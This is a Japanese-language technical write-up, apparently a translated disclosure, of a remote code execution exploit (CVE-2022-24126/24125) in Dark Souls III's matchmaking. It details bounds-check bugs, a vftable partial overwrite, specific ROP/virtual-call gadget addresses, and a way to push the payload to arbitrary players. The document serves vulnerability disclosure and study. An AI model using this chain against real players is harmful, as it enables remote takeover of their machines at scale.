エクスプロイトの概要 (CVE-2022-24126)

NRSessionSearchResult マッチメイキングデータの解析中に、スタックバッファとデータサイズフィールドに対する不適切な境界チェックにより、攻撃者は任意のコードを実行できます。スタックオーバーフローにより、ストリームリーダーが内部で使用する DLMemoryInputStream オブジェクトの vftable_ptr の下位2バイトを上書きでき、実行を慎重に選択された隣接コードにリダイレクトできます。DLMemoryInputStream オブジェクトの構造とデータサイズフィールドを巧妙に悪用することで、任意のコードリダイレクトを達成でき、RCX はパケットのアドレスを指すようになります。そこから、異なるオフセットでの仮想呼び出し（パケットバッファに書き込んだ任意のアドレスにジャンプするようになる）を介した一連のコードリダイレクトを使用して、任意のコード実行を達成できます。

配布経路 (CVE-2022-24125)

配布経路こそが、この特定のRCEを（すでにRCEであること以上に）特に深刻なものにしています。エクスプロイトは、NRSessionSearchResult 情報を含むマッチメイキングプッシュリクエストを介して送信されます。つまり、攻撃者は自分のオンラインセッションに参加する誰でもターゲットにできます。特にDS3の場合：

• 召喚 (PushRequestSummonSign)
• ダークスピリットの侵入 (PushRequestAllowBreakInTarget)
• 誓約による参加 (PushRequestVisit)
• アリーナの戦闘者 (PushRequestAcceptQuickMatch)

これでも十分に悪質ですが、本当の潜在能力は RequestSendMessageToPlayers リクエストによって解放されます：

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

ホストはこのリクエストを使用して、侵入者に PushRequestAllowBreakInTarget プッシュメッセージを直接送信し、彼らがスポーン座標を取得してP2Pセッションに参加できるようにします。それだけです。ゲームがこのリクエストを使用するのはこれだけです。

しかし、それにより任意のクライアントが、数十万人もの特定のプレイヤーに任意のプッシュメッセージを送信できるようになります。

これがいかにひどく安全でないか、強調してもしすぎることはありません。任意のプレイヤーは、実質的にマッチメイキングサーバーになりすますことができます。このリクエストを使用して PushRequestVisit を介してエクスプロイトを送信することにより、攻撃者はプレイヤーIDがわかっていれば、任意のオンラインプレイヤーをリモートでターゲットにできます。また、攻撃者は、それぞれが多数の可能性のあるプレイヤーIDを含む複数のリクエストを送信することで、非常に迅速にオンラインプレイヤーベース全体にエクスプロイトを拡散させることもできます。

全ゲームに共通する一般的なエクスプロイト戦術

RCEがすべてのゲームに完全に移植できるわけではありませんが、攻撃者に任意のコードリダイレクトを与えるエクスプロイトの核となるアイデアは同じです。これが達成できれば、ゲーム固有の仮想呼び出しチェーンまたはROPチェーンを見つけられる可能性が非常に高くなります。この「最初のステップ」では、以下の脆弱性を使用します：

バグ #1: エントリリストパーサーに境界チェックがない

セッション参加情報を含むマッチメイキングプッシュリクエストは、長さで区切られたデータエントリのチェーンで構成されるカスタムバイナリ形式でその情報を格納します。各エントリは以下の形式です：

struct Entry
{
    uint32_t type_or_id; // 確実ではないが、おそらくタイプ（固定長=2、可変長=1?）
    uint32_t size;
    uint8_t data[size];
}

これらのエントリのデータをコピーするゲーム関数は、サイズフィールドを盲目的に信頼するため、範囲外読み取りが発生します。悪意のあるクライアントは、サイズフィールドに 0x7FFFFFFF などの値を設定することでこれを悪用し、メモリ割り当てを失敗させ、被害者のゲームをクラッシュさせることができます。その後、このサイズは DLMemoryInputStream のコンストラクタにも渡され、これがエクスプロイトの重要な部分になります。

バグ #2: NRSessionSearchResult パーサーでのバッファオーバーラン

上記のデータ構造内のエントリの1つは、シリアル化された NRSessionSearchResult オブジェクトです。このデータのパーサーは、最初にプロパティのリストを解析します。これらのプロパティは、4バイト整数、8バイト整数、またはnull終端のワイド文字列にすることができます。このプロパティリストの後には、ホストのSteam persona名（null終端ワイド文字列）と、エクスプロイトには重要ではない追加データが続きます。この関数とプロパティリストパーサーの両方は、文字列を読み取るために固定サイズのスタックバッファを使用しますが、どちらの場合もバッファに対する境界チェックは実行されません。以下は、ホスト名をコピーするゲームコードです（Ghidraデコンパイラを使用して生成し、その後クリーンアップしたもの）：

size_t idx = 0;
wchar_t wchr = 0;
do {
  // DLEndianStreamReaderのvftableインデックス17のread_wchar()関数
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

これによりバッファオーバーランエクスプロイトが発生し、攻撃者はスタックを破損させることができます。

仮想呼び出し / ROPチェーンへの道を開く

任意のコードリダイレクトを達成するために、これと、パーサーを呼び出す関数によってスタック上にインスタンス化される DLMemoryInputStream オブジェクトのメモリレイアウト（ストリームリーダーが内部で使用するもの）を利用します：

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // オフセット 0
    size_t data_size;       // オフセット 4 (32bit) / 8 (64bit)
    uint8_t* data_buffer;   // オフセット 8 (32bit) / 16 (64bit)
    // バッファ以降のエントリはエクスプロイトにとって重要ではない
}

data_size フィールド（バグ #1）を制御できるため、それを data_buffer フィールドのスタックメモリアドレスに設定できます。アドレスが一定で大きすぎない場合（DS3はこれらの要件を満たします）、これが成功します。コンパイラはスタックバッファをフレームの先頭に配置するため、攻撃者はバグ #2 を使用して DLMemoryInputStream の vftable_ptr の下位2バイトを上書きできます。そのため、次の文字が DLEndianStreamReader によって読み取られると、内部で DLMemoryInputStream が呼び出され、コードがリダイレクトされます。2バイトで十分な余地があり、DLEndianStreamReader vftable の22番目の関数にジャンプできます。この関数は、その最初のフィールドが指すオブジェクトの6番目の仮想メソッドを呼び出します。64ビットプロセス（すなわちDark Souls III）では、以下の命令が実行されます：

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

RCX は DLMemoryInputStream オブジェクトへのポインタであるため、最初の命令は、攻撃者がバグ #1 を使用して data_buffer フィールドを指すスタックアドレスに設定した data_size フィールドを RCX に書き込みます。次の2つの命令は、データバッファのオフセット 0x40 に攻撃者が書き込んだメモリアドレスに実行をリダイレクトします。これで任意のコードリダイレクトが達成されました！そこから攻撃者は、バッファが仮想メソッドテーブルとして機能するようになるため、異なるオフセットでの仮想呼び出しに近いコードを選択することで、ペイロードを適切なメモリ領域にコピーして実行するコードリダイレクションチェーンを設定できます。Dark Souls IIIの概念実証では、RCEを達成するためにわずか3つのガジェットしか必要としないセットアップを見つけました：

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

Dark Souls III 概念実証コード

PoCコードの実行

攻撃ベクトル

概念実証では、RequestSendMessageToPlayers を使用して送信される PushRequestVisit メッセージを使用することにしました。これは、ターゲットのゲームが受信後すぐに脆弱なデータを解析する（メインメニューでも同様）という意味で、エクスプロイトの最も強力なバージョンです。

仮想呼び出しリダイレクションチェーン

オフセット 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

このガジェットは 0x68 のガジェットで使用されます。RAX に 144786998 より低いがかなり近いアドレスを置く必要があります。これが最も近いものです。

オフセット 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

オフセット 0x68 のガジェットを使用するには、データバッファアドレスを RDX に格納し、RCX を同じままにする必要があります。これによりそれが正確に達成されます。

オフセット 0x68: 140e40f15

; オフセット 0x40 のガジェットからここにジャンプ
MOV       RBX,RDX
CMP       R9,R8

 ; 決してジャンプしない、R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; オフセット 18 (140e97700) のガジェットを呼び出す。144786150 を RAX にロード
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; 決してジャンプしない、RAX はデータバッファアドレス
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI は 14F3B0 に近いスタックアドレスなので、memcpy は成功する
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; RBX == RDX == データバッファアドレス、非ゼロなので決してジャンプしない
JZ        LAB_140e40f62 

; memcpy により 144786150 の RWE メモリ領域を完全に制御できるようになった。RCE 達成！
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

このガジェットはほぼすべてを行います。オフセット 0x18 を呼び出して memcpy の宛先ポインタを取得し、パケットをそこにコピーしてから、静的オブジェクト 144786998 のオフセット 0x68 の仮想関数を呼び出します。このオブジェクトは memcpy 呼び出しにより完全に制御できるようになりました。memcpy によって破損するメモリの量が大きく、一部の領域は他のゲームスレッドによって常に書き込まれているため、エクスプロイトはまず安全な場所にコピーされる「セットアップ」ペイロードをロードし、他のすべてのスレッドを一時停止してから実際のペイロードを再コピーしてからジャンプします。詳細については rce.h を参照してください。

追加情報

概念実証コードのソースコードを確認することをお勧めします。パケットの構造を詳述した多くのコメントがあります。各ステップで何が起こっているかをリアルタイムで確認したい場合（ぜひ確認すべきです。とてもクールです！）、ゲームをデバッガの下で実行しながら、以下の注目アドレスにブレークポイントを設定して概念実証DLLを注入できます：

140ca5960

基本的にエクスプロイトが始まる場所。この関数は、PushRequestVisit メッセージのサイズ区切りエントリリストデータの解析を担当します。最初にリストの各エントリを異なるベクターに抽出します：

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);